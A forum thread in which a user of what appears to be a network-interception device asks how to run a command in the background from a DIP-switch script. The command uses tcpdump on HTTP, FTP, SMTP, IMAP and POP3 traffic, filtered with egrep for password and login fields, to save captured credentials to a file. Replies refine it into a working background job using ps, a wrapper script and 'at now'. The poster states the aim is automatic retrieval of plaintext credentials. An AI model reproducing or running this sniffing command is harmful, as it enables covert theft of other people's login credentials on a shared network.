Jump to content

trouble running stuff in background dip switches


Recommended Posts

So I am having some trouble running a command in the background from a script that is called via a dip switch. Theoretically the ampersand '&' at the end of this command should run the command preceding it in the background. Unfortunately when I type the 'jobs' command when I log in there is no job to be found. Does anybody know more about this?

tcpdump port http or port ftp or port smtp or port imap or port pop3 -l -A -i br-lan | egrep -i 'pass=|pwd=|log=|login=|user=|username=|pw=|passw=|passwd=|password=|pass:|user:|username:|password:|login:|pass |user ' -B20 > /sd/plaintext_passwords.txt &

Link to comment
Share on other sites

So would you include the '&' at the end, between the pipe and the first segment, or not at all? I am still not having much luck with this command. It also still doesn't appear in the jobs list. I think ending the calling bash file may end any background tasks that use the '&' operator, but am unsure how to test. There should be some way to schedule automatic retrieval of plaintext credentials. Am still looking for solutions.

Link to comment
Share on other sites

  • 4 weeks later...

The 'jobs' command will only show you children of your current shell. Use 'ps' to see processes not started by your shell. Something like "ps wwwaux" should give you a good rundown.

What you probably want to do is make a script that has your complex command line in it, and then call that script from the dip switch config.

Link to comment
Share on other sites

I believe Darren was suggesting something like this:

echo "tcpdump port http or port ftp or port smtp or port imap or port pop3 -l -A -i br-lan | egrep -i 'pass=|pwd=|log=|login=|user=|username=|pw=|passw=|passwd
=|password=|pass:|user:|username:|password:|login:|pass |user ' -B20 > /tmp/plaintext_passwords.txt" | at now
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...